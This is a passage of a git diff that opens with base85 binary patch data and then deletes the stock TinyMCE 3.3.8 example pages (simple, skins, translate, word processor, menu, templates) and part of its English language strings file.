zMGs*dP^FLX!~o%jA%ej<gabwhn~V`g0Tt&F5={_1NeFru5F{=lFkM0z0hF5}#9v0Z zW`=Oq96{Uyfzc9S2vBN;5ND0xZiAp>i?H7gf!-cr5KwXjA=UxG%@IM%2|>gefz}0K z08s3T5bcKG;*Ows6=B~s1R4*7egMT2A@Vwc(+vc5F9e~R2)J7ay?}z-2;trcjy?!# zcMt@85jFtbcM<aMAw2R!xZ;m+IsjpBAi_GJD+uB3eT2{l2zJ2;Cm$m4g&_O}bc7<j z4nuhO2*D;CK_voVcO=3p;Byp0PBcPr41#qm!tpo+-p2^bfKTxVuM!aMCn8urK_EUw zAS59y0osxgUOqzzOhGVDMNlFmaHk>s0<@$fWIadl&p<HCL{Q8^*!cos9?<*}Au}7n z?-hb+4uV21!uHn)vw)^I2+!Xl+|5I{n2#V=fWTRZ@DtELK}ah?xKoTkDnXEahp?>_ zVH!|ZhL8#$^ga~`CY1<>s}R_#5hej2-Xo;cAl&|dU|fqJQ-`p%9^nU|rU4<j5#eSN z!ntMy>5m9oS`a1x)vX9m+YoMiLNIJcIQSW1^B06MKxGHQlTL)|T?qQ!2$DSr%)JOB zfQmkZgnk5%0R-Kz2;zeXOy3ZO0cAr7kB1Sijv(laB8ZJ4FpML71H79+i2aV>{sTdK z5<zqdfo>Y%E1+ZsA?7E7>ny^VIRxQ(1eyhe0YK3&gs4RX=OqM<WrTez2>4ZmK0x6b zLd0(b$8`ktKL~;wM6}b&@PF>K{<FdQpIff~KRc}f^xLSfIfg;=b_4PtenTOC?I3<t zAbxj4^R58eA%3$VeuE%>%^`jjA%1s4^UeX9Ab!&!etjW+Nf5tBAb#1Pc_#ri5Wh(f zzg`f(1`xjoAby#lc}D<c5WkNhe%&E{wIO~*Abx3}dHVr{5Wf)+zYY+;st~_>A%52Z z9T2~{5Wm3?zg7^x$`HQ<h~Gs(3&d|0#IGO3uPMZ@Jj5>t#P1BC4&pZz;`cVhuQ9~0 zG{o-~h~IHQ6~u2M#IFa$uP(%|7{o6F#P1-W1mZUu;@1V@R|Dc#2;vum`0WPdLHve7 z{MteMszChihWK3pv_l1FL;MCo{F+1jDnk73g!r8UG(iQYL;U(e{E{Gkk3jsgLHtev zYM_FXAb!0dehnag4?z4fL;Q{a%AkTDL;Si!{Axq|ia`9*K>YRt3Za4{AbuSnepMlU z_d@)x13I9BbD@HRA%3kOew8792@t=FfEK9WET~{Vh+k8PUwMdM4v60wKpj+YDpc@o zh+kufUulTnEfBxsfGViqM5tg7h+kcZUonVZ28iE5KnYZEG*qw)#IFX#uMos92Jzbs z$b$+Fh4{6D_*H@U-3{@(0%(T{&V~vOg7`Iu_*I1X-3jqK2WWx{PKOHih4>{w{2qb$ zWrO&g1k^wUCqV^!LHrs({2qY#Wrp}20hB=nKZXi+hxpZo_!WWprGfbE2NXgDM?eKT zK>Vsg{O*PLT?ceP1?NHq2SWv0LHsI1{1PC37Xd9$!C6qjeo(=t5Wn&ezZ?+1Gk`j% z;8dvK+fc#A5Wmt8zgr-F#{pGP!HH189#Fx$5Wiv&zYGw+gMbpK;Ap5|7pPzjh+iRy zUku{68;}PT910a|2NkRW@w*%1cLmT66`Tzf90V0?4i&5j@w*e^cMi}56`T$g><bl4 zf(kwY@yiDBI|-<P3QmFw_JRsFfC@eU@yiVHI|3+!3VsX~><$&I4HYZ`@k;~o+Ycy& z3XXsZc7O_2g$mva@w*P_fC|oq3J!(}wt@;)h6*M?{4N4opn|iYg8iU^O`(G2p@KOe zerEu6P{FBC!MCA;jiG|2p@O$S{Eh>vpn?;jf<2&ub)kaApn@47eg^?1P{Gkq!7fn2 s8c@MP)C$HkP~RL(ikhR0|K*EftpBZf|JSdB(NYilXKVLA0M`GW*v<jgeE<Le diff --git a/tinymce-3.3.8/examples/menu.html b/tinymce-3.3.8/examples/menu.html deleted file mode 100644 index a65c310..0000000 --- a/tinymce-3.3.8/examples/menu.html +++ /dev/null @@ -1,17 +0,0 @@ -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> -<html xmlns="http://www.w3.org/1999/xhtml"> -<head> -<title>Menu</title> -<style> -a {display:block;} -</style> -</head> -<body> -<h3>Examples</h3> -<a href="full.html" target="main">Full featured</a> -<a href="simple.html" target="main">Simple theme</a> -<a href="skins.html" target="main">Skin support</a> -<a href="word.html" target="main">Word processor</a> -<a href="custom_formats.html" target="main">Custom formats</a> -</body> -</html> \ No newline at end of file diff --git a/tinymce-3.3.8/examples/simple.html b/tinymce-3.3.8/examples/simple.html deleted file mode 100644 index 70720ca..0000000 --- a/tinymce-3.3.8/examples/simple.html +++ /dev/null @@ -1,47 +0,0 @@ -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> -<html xmlns="http://www.w3.org/1999/xhtml"> -<head> -<title>Simple theme example</title> - -<!-- TinyMCE --> -<script type="text/javascript" src="../jscripts/tiny_mce/tiny_mce.js"></script> -<script type="text/javascript"> - tinyMCE.init({ - mode : "textareas", - theme : "simple" - }); -</script> -<!-- /TinyMCE --> - -</head> -<body> - -<form method="post" action="http://tinymce.moxiecode.com/dump.php?example=true"> - <h3>Simple theme example</h3> - - <p> - This page shows you the simple theme and it's core functionality you can extend it by changing the code use the advanced theme if you need to configure/add more buttons etc. - There are more examples on how to use TinyMCE in the <a href="http://tinymce.moxiecode.com/examples/">Wiki</a>. - </p> - - <!-- Gets replaced with TinyMCE, remember HTML in a textarea should be encoded --> - <textarea id="elm1" name="elm1" rows="15" cols="80" style="width: 80%"> - &lt;p&gt; - This is some example text that you can edit inside the &lt;strong&gt;TinyMCE editor&lt;/strong&gt;. - &lt;/p&gt; - &lt;p&gt; - Nam nisi elit, cursus in rhoncus sit amet, pulvinar laoreet leo. Nam sed lectus quam, ut sagittis tellus. Quisque dignissim mauris a augue rutrum tempor. Donec vitae purus nec massa vestibulum ornare sit amet id tellus. Nunc quam mauris, fermentum nec lacinia eget, sollicitudin nec ante. Aliquam molestie volutpat dapibus. Nunc interdum viverra sodales. Morbi laoreet pulvinar gravida. Quisque ut turpis sagittis nunc accumsan vehicula. Duis elementum congue ultrices. Cras faucibus feugiat arcu quis lacinia. In hac habitasse platea dictumst. Pellentesque fermentum magna sit amet tellus varius ullamcorper. Vestibulum at urna augue, eget varius neque. Fusce facilisis venenatis dapibus. Integer non sem at arcu euismod tempor nec sed nisl. Morbi ultricies, mauris ut ultricies adipiscing, felis odio condimentum massa, et luctus est nunc nec eros. - &lt;/p&gt; - </textarea> - - <br /> - <input type="submit" name="save" value="Submit" /> - <input type="reset" name="reset" value="Reset" /> -</form> -<script type="text/javascript"> -if (document.location.protocol == 'file:') { - alert("The examples might not work properly on the local file system due to security settings in your browser. Please use a real webserver."); -} -</script> -</body> -</html> diff --git a/tinymce-3.3.8/examples/skins.html b/tinymce-3.3.8/examples/skins.html deleted file mode 100644 index 108f16d..0000000 --- a/tinymce-3.3.8/examples/skins.html +++ /dev/null @@ -1,216 +0,0 @@ -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> -<html xmlns="http://www.w3.org/1999/xhtml"> -<head> -<title>Skin support example</title> - -<!-- TinyMCE --> -<script type="text/javascript" src="../jscripts/tiny_mce/tiny_mce.js"></script> -<script type="text/javascript"> - // Default skin - tinyMCE.init({ - // General options - mode : "exact", - elements : "elm1", - theme : "advanced", - plugins : "pagebreak,style,layer,table,save,advhr,advimage,advlink,emotions,iespell,insertdatetime,preview,media,searchreplace,print,contextmenu,paste,directionality,fullscreen,noneditable,visualchars,nonbreaking,xhtmlxtras,template,inlinepopups,autosave", - - // Theme options - theme_advanced_buttons1 : "save,newdocument,|,bold,italic,underline,strikethrough,|,justifyleft,justifycenter,justifyright,justifyfull,styleselect,formatselect,fontselect,fontsizeselect", - theme_advanced_buttons2 : "cut,copy,paste,pastetext,pasteword,|,search,replace,|,bullist,numlist,|,outdent,indent,blockquote,|,undo,redo,|,link,unlink,anchor,image,cleanup,help,code,|,insertdate,inserttime,preview,|,forecolor,backcolor", - theme_advanced_buttons3 : "tablecontrols,|,hr,removeformat,visualaid,|,sub,sup,|,charmap,emotions,iespell,media,advhr,|,print,|,ltr,rtl,|,fullscreen", - theme_advanced_buttons4 : "insertlayer,moveforward,movebackward,absolute,|,styleprops,|,cite,abbr,acronym,del,ins,attribs,|,visualchars,nonbreaking,template,pagebreak,restoredraft", - theme_advanced_toolbar_location : "top", - theme_advanced_toolbar_align : "left", - theme_advanced_statusbar_location : "bottom", - theme_advanced_resizing : true, - - // Example content CSS (should be your site CSS) - content_css : "css/content.css", - - // Drop lists for link/image/media/template dialogs - template_external_list_url : "lists/template_list.js", - external_link_list_url : "lists/link_list.js", - external_image_list_url : "lists/image_list.js", - media_external_list_url : "lists/media_list.js", - - // Replace values for the template plugin - template_replace_values : { - username : "Some User", - staffid : "991234" - } - }); - - // O2k7 skin - tinyMCE.init({ - // General options - mode : "exact", - elements : "elm2", - theme : "advanced", - skin : "o2k7", - plugins : "pagebreak,style,layer,table,save,advhr,advimage,advlink,emotions,iespell,insertdatetime,preview,media,searchreplace,print,contextmenu,paste,directionality,fullscreen,noneditable,visualchars,nonbreaking,xhtmlxtras,template,inlinepopups,autosave", - - // Theme options - theme_advanced_buttons1 : "save,newdocument,|,bold,italic,underline,strikethrough,|,justifyleft,justifycenter,justifyright,justifyfull,styleselect,formatselect,fontselect,fontsizeselect", - theme_advanced_buttons2 : "cut,copy,paste,pastetext,pasteword,|,search,replace,|,bullist,numlist,|,outdent,indent,blockquote,|,undo,redo,|,link,unlink,anchor,image,cleanup,help,code,|,insertdate,inserttime,preview,|,forecolor,backcolor", - theme_advanced_buttons3 : "tablecontrols,|,hr,removeformat,visualaid,|,sub,sup,|,charmap,emotions,iespell,media,advhr,|,print,|,ltr,rtl,|,fullscreen", - theme_advanced_buttons4 : "insertlayer,moveforward,movebackward,absolute,|,styleprops,|,cite,abbr,acronym,del,ins,attribs,|,visualchars,nonbreaking,template,pagebreak,restoredraft", - theme_advanced_toolbar_location : "top", - theme_advanced_toolbar_align : "left", - theme_advanced_statusbar_location : "bottom", - theme_advanced_resizing : true, - - // Example content CSS (should be your site CSS) - content_css : "css/content.css", - - // Drop lists for link/image/media/template dialogs - template_external_list_url : "lists/template_list.js", - external_link_list_url : "lists/link_list.js", - external_image_list_url : "lists/image_list.js", - media_external_list_url : "lists/media_list.js", - - // Replace values for the template plugin - template_replace_values : { - username : "Some User", - staffid : "991234" - } - }); - - // O2k7 skin (silver) - tinyMCE.init({ - // General options - mode : "exact", - elements : "elm3", - theme : "advanced", - skin : "o2k7", - skin_variant : "silver", - plugins : "pagebreak,style,layer,table,save,advhr,advimage,advlink,emotions,iespell,insertdatetime,preview,media,searchreplace,print,contextmenu,paste,directionality,fullscreen,noneditable,visualchars,nonbreaking,xhtmlxtras,template,inlinepopups,autosave", - - // Theme options - theme_advanced_buttons1 : "save,newdocument,|,bold,italic,underline,strikethrough,|,justifyleft,justifycenter,justifyright,justifyfull,styleselect,formatselect,fontselect,fontsizeselect", - theme_advanced_buttons2 : "cut,copy,paste,pastetext,pasteword,|,search,replace,|,bullist,numlist,|,outdent,indent,blockquote,|,undo,redo,|,link,unlink,anchor,image,cleanup,help,code,|,insertdate,inserttime,preview,|,forecolor,backcolor", - theme_advanced_buttons3 : "tablecontrols,|,hr,removeformat,visualaid,|,sub,sup,|,charmap,emotions,iespell,media,advhr,|,print,|,ltr,rtl,|,fullscreen", - theme_advanced_buttons4 : "insertlayer,moveforward,movebackward,absolute,|,styleprops,|,cite,abbr,acronym,del,ins,attribs,|,visualchars,nonbreaking,template,pagebreak,restoredraft", - theme_advanced_toolbar_location : "top", - theme_advanced_toolbar_align : "left", - theme_advanced_statusbar_location : "bottom", - theme_advanced_resizing : true, - - // Example content CSS (should be your site CSS) - content_css : "css/content.css", - - // Drop lists for link/image/media/template dialogs - template_external_list_url : "lists/template_list.js", - external_link_list_url : "lists/link_list.js", - external_image_list_url : "lists/image_list.js", - media_external_list_url : "lists/media_list.js", - - // Replace values for the template plugin - template_replace_values : { - username : "Some User", - staffid : "991234" - } - }); - - // O2k7 skin (silver) - tinyMCE.init({ - // General options - mode : "exact", - elements : "elm4", - theme : "advanced", - skin : "o2k7", - skin_variant : "black", - plugins : "pagebreak,style,layer,table,save,advhr,advimage,advlink,emotions,iespell,insertdatetime,preview,media,searchreplace,print,contextmenu,paste,directionality,fullscreen,noneditable,visualchars,nonbreaking,xhtmlxtras,template,inlinepopups,autosave", - - // Theme options - theme_advanced_buttons1 : "save,newdocument,|,bold,italic,underline,strikethrough,|,justifyleft,justifycenter,justifyright,justifyfull,styleselect,formatselect,fontselect,fontsizeselect", - theme_advanced_buttons2 : "cut,copy,paste,pastetext,pasteword,|,search,replace,|,bullist,numlist,|,outdent,indent,blockquote,|,undo,redo,|,link,unlink,anchor,image,cleanup,help,code,|,insertdate,inserttime,preview,|,forecolor,backcolor", - theme_advanced_buttons3 : "tablecontrols,|,hr,removeformat,visualaid,|,sub,sup,|,charmap,emotions,iespell,media,advhr,|,print,|,ltr,rtl,|,fullscreen", - theme_advanced_buttons4 : "insertlayer,moveforward,movebackward,absolute,|,styleprops,|,cite,abbr,acronym,del,ins,attribs,|,visualchars,nonbreaking,template,pagebreak,restoredraft", - theme_advanced_toolbar_location : "top", - theme_advanced_toolbar_align : "left", - theme_advanced_statusbar_location : "bottom", - theme_advanced_resizing : true, - - // Example content CSS (should be your site CSS) - content_css : "css/content.css", - - // Drop lists for link/image/media/template dialogs - template_external_list_url : "lists/template_list.js", - external_link_list_url : "lists/link_list.js", - external_image_list_url : "lists/image_list.js", - media_external_list_url : "lists/media_list.js", - - // Replace values for the template plugin - template_replace_values : { - username : "Some User", - staffid : "991234" - } - }); -</script> -<!-- /TinyMCE --> - -</head> -<body> - -<form method="post" action="http://tinymce.moxiecode.com/dump.php?example=true"> - <h3>Skin support example</h3> - - <p> - This page displays the two skins that TinyMCE comes with. You can make your own by creating a CSS file in themes/advanced/skins/<yout skin>/ui.css - There are more examples on how to use TinyMCE in the <a href="http://tinymce.moxiecode.com/examples/">Wiki</a>. - </p> - - <!-- Gets replaced with TinyMCE, remember HTML in a textarea should be encoded --> - <textarea id="elm1" name="elm1" rows="15" cols="80" style="width: 80%"> - &lt;p&gt; - This is some example text that you can edit inside the &lt;strong&gt;TinyMCE editor&lt;/strong&gt;. - &lt;/p&gt; - &lt;p&gt; - Nam nisi elit, cursus in rhoncus sit amet, pulvinar laoreet leo. Nam sed lectus quam, ut sagittis tellus. Quisque dignissim mauris a augue rutrum tempor. Donec vitae purus nec massa vestibulum ornare sit amet id tellus. Nunc quam mauris, fermentum nec lacinia eget, sollicitudin nec ante. Aliquam molestie volutpat dapibus. Nunc interdum viverra sodales. Morbi laoreet pulvinar gravida. Quisque ut turpis sagittis nunc accumsan vehicula. Duis elementum congue ultrices. Cras faucibus feugiat arcu quis lacinia. In hac habitasse platea dictumst. Pellentesque fermentum magna sit amet tellus varius ullamcorper. Vestibulum at urna augue, eget varius neque. Fusce facilisis venenatis dapibus. Integer non sem at arcu euismod tempor nec sed nisl. Morbi ultricies, mauris ut ultricies adipiscing, felis odio condimentum massa, et luctus est nunc nec eros. - &lt;/p&gt; - </textarea> - - <br /> - - <textarea id="elm2" name="elm2" rows="15" cols="80" style="width: 80%"> - &lt;p&gt; - This is some example text that you can edit inside the &lt;strong&gt;TinyMCE editor&lt;/strong&gt;. - &lt;/p&gt; - &lt;p&gt; - Nam nisi elit, cursus in rhoncus sit amet, pulvinar laoreet leo. Nam sed lectus quam, ut sagittis tellus. Quisque dignissim mauris a augue rutrum tempor. Donec vitae purus nec massa vestibulum ornare sit amet id tellus. Nunc quam mauris, fermentum nec lacinia eget, sollicitudin nec ante. Aliquam molestie volutpat dapibus. Nunc interdum viverra sodales. Morbi laoreet pulvinar gravida. Quisque ut turpis sagittis nunc accumsan vehicula. Duis elementum congue ultrices. Cras faucibus feugiat arcu quis lacinia. In hac habitasse platea dictumst. Pellentesque fermentum magna sit amet tellus varius ullamcorper. Vestibulum at urna augue, eget varius neque. Fusce facilisis venenatis dapibus. Integer non sem at arcu euismod tempor nec sed nisl. Morbi ultricies, mauris ut ultricies adipiscing, felis odio condimentum massa, et luctus est nunc nec eros. - &lt;/p&gt; - </textarea> - - <br /> - - <textarea id="elm3" name="elm3" rows="15" cols="80" style="width: 80%"> - &lt;p&gt; - This is some example text that you can edit inside the &lt;strong&gt;TinyMCE editor&lt;/strong&gt;. - &lt;/p&gt; - &lt;p&gt; - Nam nisi elit, cursus in rhoncus sit amet, pulvinar laoreet leo. Nam sed lectus quam, ut sagittis tellus. Quisque dignissim mauris a augue rutrum tempor. Donec vitae purus nec massa vestibulum ornare sit amet id tellus. Nunc quam mauris, fermentum nec lacinia eget, sollicitudin nec ante. Aliquam molestie volutpat dapibus. Nunc interdum viverra sodales. Morbi laoreet pulvinar gravida. Quisque ut turpis sagittis nunc accumsan vehicula. Duis elementum congue ultrices. Cras faucibus feugiat arcu quis lacinia. In hac habitasse platea dictumst. Pellentesque fermentum magna sit amet tellus varius ullamcorper. Vestibulum at urna augue, eget varius neque. Fusce facilisis venenatis dapibus. Integer non sem at arcu euismod tempor nec sed nisl. Morbi ultricies, mauris ut ultricies adipiscing, felis odio condimentum massa, et luctus est nunc nec eros. - &lt;/p&gt; - </textarea> - - <br /> - - <textarea id="elm4" name="elm4" rows="15" cols="80" style="width: 80%"> - &lt;p&gt; - This is some example text that you can edit inside the &lt;strong&gt;TinyMCE editor&lt;/strong&gt;. - &lt;/p&gt; - &lt;p&gt; - Nam nisi elit, cursus in rhoncus sit amet, pulvinar laoreet leo. Nam sed lectus quam, ut sagittis tellus. Quisque dignissim mauris a augue rutrum tempor. Donec vitae purus nec massa vestibulum ornare sit amet id tellus. Nunc quam mauris, fermentum nec lacinia eget, sollicitudin nec ante. Aliquam molestie volutpat dapibus. Nunc interdum viverra sodales. Morbi laoreet pulvinar gravida. Quisque ut turpis sagittis nunc accumsan vehicula. Duis elementum congue ultrices. Cras faucibus feugiat arcu quis lacinia. In hac habitasse platea dictumst. Pellentesque fermentum magna sit amet tellus varius ullamcorper. Vestibulum at urna augue, eget varius neque. Fusce facilisis venenatis dapibus. Integer non sem at arcu euismod tempor nec sed nisl. Morbi ultricies, mauris ut ultricies adipiscing, felis odio condimentum massa, et luctus est nunc nec eros. - &lt;/p&gt; - </textarea> - - <br /> - <input type="submit" name="save" value="Submit" /> - <input type="reset" name="reset" value="Reset" /> -</form> -<script type="text/javascript"> -if (document.location.protocol == 'file:') { - alert("The examples might not work properly on the local file system due to security settings in your browser. Please use a real webserver."); -} -</script> -</body> -</html> diff --git a/tinymce-3.3.8/examples/templates/layout1.htm b/tinymce-3.3.8/examples/templates/layout1.htm deleted file mode 100644 index a38df3e..0000000 --- a/tinymce-3.3.8/examples/templates/layout1.htm +++ /dev/null @@ -1,15 +0,0 @@ -<table border="1"> - <thead> - <tr> - <td>Column 1</td> - <td>Column 2</td> - </tr> - </thead> - - <tbody> - <tr> - <td>Username: {$username}</td> - <td>Staffid: {$staffid}</td> - </tr> - </tbody> -</table> diff --git a/tinymce-3.3.8/examples/templates/snippet1.htm b/tinymce-3.3.8/examples/templates/snippet1.htm deleted file mode 100644 index b2520be..0000000 --- a/tinymce-3.3.8/examples/templates/snippet1.htm +++ /dev/null @@ -1 +0,0 @@ -This is just some <strong>code</strong>. diff --git a/tinymce-3.3.8/examples/translate.html b/tinymce-3.3.8/examples/translate.html deleted file mode 100644 index 7dcaa5d..0000000 --- a/tinymce-3.3.8/examples/translate.html +++ /dev/null @@ -1,84 +0,0 @@ -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> -<html xmlns="http://www.w3.org/1999/xhtml"> -<head> -<title>Full featured example</title> -<style> -body {font-family:Arial,Verdana; font-size: 12px;} -</style> - -<!-- TinyMCE --> -<script type="text/javascript" src="../jscripts/tiny_mce/tiny_mce.js"></script> -<script type="text/javascript"> - tinyMCE.init({ - // General options - mode : "textareas", - theme : "advanced", - plugins : "pagebreak,style,layer,table,save,advhr,advimage,advlink,emotions,iespell,inlinepopups,insertdatetime,preview,media,searchreplace,print,contextmenu,paste,directionality,fullscreen,noneditable,visualchars,nonbreaking,xhtmlxtras,template", - - // Theme options - theme_advanced_buttons1 : "save,newdocument,|,bold,italic,underline,strikethrough,|,justifyleft,justifycenter,justifyright,justifyfull,|,styleselect,formatselect,fontselect,fontsizeselect", - theme_advanced_buttons2 : "cut,copy,paste,pastetext,pasteword,|,search,replace,|,bullist,numlist,|,outdent,indent,blockquote,|,undo,redo,|,link,unlink,anchor,image,cleanup,help,code,|,insertdate,inserttime,preview,|,forecolor,backcolor", - theme_advanced_buttons3 : "tablecontrols,|,hr,removeformat,visualaid,|,sub,sup,|,charmap,emotions,iespell,media,advhr,|,print,|,ltr,rtl,|,fullscreen", - theme_advanced_buttons4 : "insertlayer,moveforward,movebackward,absolute,|,styleprops,|,cite,abbr,acronym,del,ins,attribs,|,visualchars,nonbreaking,template,pagebreak", - theme_advanced_toolbar_location : "top", - theme_advanced_toolbar_align : "left", - theme_advanced_path_location : "bottom", - theme_advanced_resizing : true, - - // Example content CSS (should be your site CSS) - content_css : "css/content.css", - - // Drop lists for link/image/media/template dialogs - template_external_list_url : "lists/template_list.js", - external_link_list_url : "lists/link_list.js", - external_image_list_url : "lists/image_list.js", - media_external_list_url : "lists/media_list.js", - - // Replace values for the template plugin - template_replace_values : { - username : "Some User", - staffid : "991234" - }, - - // Enable translation mode - translate_mode : true, - language : "en" - }); -</script> -<!-- /TinyMCE --> - -</head> -<body> - -<form method="post" action="http://tinymce.moxiecode.com/dump.php?example=true"> - <h3>Translation</h3> - - <p>This page enables you to translate TinyMCE by using XML files.</p> - <p>Steps to translate:</p> - <ol> - <li>Download one of the language XML files from the TinyMCE site.</li> - <li>Place it in /jscripts/tiny_mce/langs directory, for example /jscripts/tiny_mce/langs/sv.xml.</li> - <li>Change the language init option in this file to match the XML file code. For example: sv</li> - <li>TinyMCE will now use the XML file instead of the .js versions.</li> - <li>Modify the XML file until everything is translated</li> - <li>Modify the author information, this is optional.</li> - <li>Upload the XML file to the TinyMCE site to share it with others.</li> - <li>You can now download the .js versions of the language pack from the TinyMCE site.</li> - </ol> - - <textarea id="elm1" name="elm1" rows="15" cols="80" style="width: 80%"> - &lt;p&gt; - This is some example text that you can edit inside the &lt;strong&gt;TinyMCE editor&lt;/strong&gt;. - &lt;/p&gt; - &lt;p&gt; - Nam nisi elit, cursus in rhoncus sit amet, pulvinar laoreet leo. Nam sed lectus quam, ut sagittis tellus. Quisque dignissim mauris a augue rutrum tempor. Donec vitae purus nec massa vestibulum ornare sit amet id tellus. Nunc quam mauris, fermentum nec lacinia eget, sollicitudin nec ante. Aliquam molestie volutpat dapibus. Nunc interdum viverra sodales. Morbi laoreet pulvinar gravida. Quisque ut turpis sagittis nunc accumsan vehicula. Duis elementum congue ultrices. Cras faucibus feugiat arcu quis lacinia. In hac habitasse platea dictumst. Pellentesque fermentum magna sit amet tellus varius ullamcorper. Vestibulum at urna augue, eget varius neque. Fusce facilisis venenatis dapibus. Integer non sem at arcu euismod tempor nec sed nisl. Morbi ultricies, mauris ut ultricies adipiscing, felis odio condimentum massa, et luctus est nunc nec eros. - &lt;/p&gt; - </textarea> -</form> -<script type="text/javascript"> -if (document.location.protocol == 'file:') { - alert("The examples might not work properly on the local file system due to security settings in your browser. Please use a real webserver."); -} -</script> -</body> -</html> diff --git a/tinymce-3.3.8/examples/word.html b/tinymce-3.3.8/examples/word.html deleted file mode 100644 index 64cd1d4..0000000 --- a/tinymce-3.3.8/examples/word.html +++ /dev/null @@ -1,71 +0,0 @@ -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> -<html xmlns="http://www.w3.org/1999/xhtml"> -<head> -<title>Word processor example</title> - -<!-- TinyMCE --> -<script type="text/javascript" src="../jscripts/tiny_mce/tiny_mce.js"></script> -<script type="text/javascript"> - tinyMCE.init({ - // General options - mode : "textareas", - theme : "advanced", - plugins : "pagebreak,style,layer,table,save,advhr,advimage,advlink,emotions,iespell,insertdatetime,preview,media,searchreplace,print,contextmenu,paste,directionality,fullscreen,noneditable,visualchars,nonbreaking,xhtmlxtras,template,inlinepopups,autosave", - - // Theme options - theme_advanced_buttons1 : "save,newdocument,|,bold,italic,underline,strikethrough,|,justifyleft,justifycenter,justifyright,justifyfull,|,styleselect,formatselect,fontselect,fontsizeselect", - theme_advanced_buttons2 : "cut,copy,paste,pastetext,pasteword,|,search,replace,|,bullist,numlist,|,outdent,indent,blockquote,|,undo,redo,|,link,unlink,anchor,image,cleanup,help,code,|,insertdate,inserttime,preview,|,forecolor,backcolor", - theme_advanced_buttons3 : "tablecontrols,|,hr,removeformat,visualaid,|,sub,sup,|,charmap,emotions,iespell,media,advhr,|,print,|,ltr,rtl,|,fullscreen", - theme_advanced_buttons4 : "insertlayer,moveforward,movebackward,absolute,|,styleprops,|,cite,abbr,acronym,del,ins,attribs,|,visualchars,nonbreaking,template,pagebreak,restoredraft", - theme_advanced_toolbar_location : "top", - theme_advanced_toolbar_align : "left", - theme_advanced_statusbar_location : "bottom", - theme_advanced_resizing : true, - - // Example word content CSS (should be your site CSS) this one removes paragraph margins - content_css : "css/word.css", - - // Drop lists for link/image/media/template dialogs - template_external_list_url : "lists/template_list.js", - external_link_list_url : "lists/link_list.js", - external_image_list_url : "lists/image_list.js", - media_external_list_url : "lists/media_list.js", - - // Replace values for the template plugin - template_replace_values : { - username : "Some User", - staffid : "991234" - } - }); -</script> -<!-- /TinyMCE --> - -</head> -<body> - -<form method="post" action="http://tinymce.moxiecode.com/dump.php?example=true"> - <h3>Word processor example</h3> - - <p> - This page shows you how to configure TinyMCE to work more like common word processors. - There are more examples on how to use TinyMCE in the <a href="http://tinymce.moxiecode.com/examples/">Wiki</a>. - </p> - - <!-- Gets replaced with TinyMCE, remember HTML in a textarea should be encoded --> - <textarea id="elm1" name="elm1" rows="15" cols="80" style="width: 80%"> - &lt;p&gt;This is the first paragraph.&lt;/p&gt; - &lt;p&gt;This is the second paragraph.&lt;/p&gt; - &lt;p&gt;This is the third paragraph.&lt;/p&gt; - </textarea> - - <br /> - <input type="submit" name="save" value="Submit" /> - <input type="reset" name="reset" value="Reset" /> -</form> -<script type="text/javascript"> -if (document.location.protocol == 'file:') { - alert("The examples might not work properly on the local file system due to security settings in your browser. Please use a real webserver."); -} -</script> -</body> -</html> diff --git a/tinymce-3.3.8/jscripts/tiny_mce/langs/en.js b/tinymce-3.3.8/jscripts/tiny_mce/langs/en.js deleted file mode 100644 index ea4a1b0..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/langs/en.js +++ /dev/null @@ -1,170 +0,0 @@ -tinyMCE.addI18n({en:{ -common:{ -edit_confirm:"Do you want to use the WYSIWYG mode for this textarea?", -apply:"Apply", -insert:"Insert", -update:"Update", -cancel:"Cancel", -close:"Close", -browse:"Browse", -class_name:"Class", -not_set:"-- Not set --", -clipboard_msg:"Copy/Cut/Paste is not available in Mozilla and Firefox.\nDo you want more information about this issue?", -clipboard_no_support:"Currently not supported by your browser, use keyboard shortcuts instead.", -popup_blocked:"Sorry, but we have noticed that your popup-blocker has disabled a window that provides application functionality. You will need to disable popup blocking on this site in order to fully utilize this tool.", -invalid_data:"Error: Invalid values entered, these are marked in red.", -more_colors:"More colors" -}, -contextmenu:{ -align:"Alignment", -left:"Left", -center:"Center", -right:"Right", -full:"Full" -}, -insertdatetime:{ -date_fmt:"%Y-%m-%d", -time_fmt:"%H:%M:%S", -insertdate_desc:"Insert date", -inserttime_desc:"Insert time", -months_long:"January,February,March,April,May,June,July,August,September,October,November,December", -months_short:"Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec", -day_long:"Sunday,Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday", -day_short:"Sun,Mon,Tue,Wed,Thu,Fri,Sat,Sun" -}, -print:{ -print_desc:"Print" -}, -preview:{ -preview_desc:"Preview" -}, -directionality:{ -ltr_desc:"Direction left to right", -rtl_desc:"Direction right to left" -}, -layer:{ -insertlayer_desc:"Insert new layer", -forward_desc:"Move forward", -backward_desc:"Move backward", -absolute_desc:"Toggle absolute positioning", -content:"New layer..." -}, -save:{ -save_desc:"Save", -cancel_desc:"Cancel all changes" -}, -nonbreaking:{ -nonbreaking_desc:"Insert non-breaking space character" -}, -iespell:{ -iespell_desc:"Run spell checking", -download:"ieSpell not detected. Do you want to install it now?" -}, -advhr:{ -advhr_desc:"Horizontal rule" -}, -emotions:{ -emotions_desc:"Emotions" -}, -searchreplace:{ -search_desc:"Find", -replace_desc:"Find/Replace" -}, -advimage:{ -image_desc:"Insert/edit image" -}, -advlink:{ -link_desc:"Insert/edit link" -}, -xhtmlxtras:{ -cite_desc:"Citation", -abbr_desc:"Abbreviation", -acronym_desc:"Acronym", -del_desc:"Deletion", -ins_desc:"Insertion", -attribs_desc:"Insert/Edit Attributes" -}, -style:{ -desc:"Edit CSS Style" -}, -paste:{ -paste_text_desc:"Paste as Plain Text", -paste_word_desc:"Paste from Word", -selectall_desc:"Select All", -plaintext_mode_sticky:"Paste is now in plain text mode. Click again to toggle back to regular 